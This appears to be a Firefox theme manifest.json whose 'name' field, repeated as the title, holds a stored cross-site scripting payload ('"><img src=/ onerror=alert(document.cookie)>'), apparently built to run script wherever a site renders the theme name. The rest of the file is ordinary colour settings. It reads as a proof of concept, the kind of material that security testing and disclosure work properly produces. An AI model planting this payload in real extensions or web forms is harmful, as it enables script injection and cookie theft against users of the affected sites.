"><img src=/ onerror=alert(document.cookie)> Firefox

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manifest.json
{
  "name": "\"><img src=/ onerror=alert(document.cookie)>",
  "manifest_version": 2,
  "version": "1.0",
  "theme": {
    "images": {
      "theme_frame": "Payload.png"
    },
    "colors": {
      "frame": "rgba(25, 82, 204, 1)",
      "tab_background_text": "rgba(0, 0, 0, 1)",
      "toolbar": "rgba(204, 29, 29, 1)",
      "bookmark_text": "rgba(168, 7, 7, 1)",
      "toolbar_field": "rgba(217, 7, 7, 1)",
      "toolbar_field_text": "rgba(209, 0, 0, 1)",
      "tab_line": "rgba(232, 0, 0, 1)"
    }
  }
}

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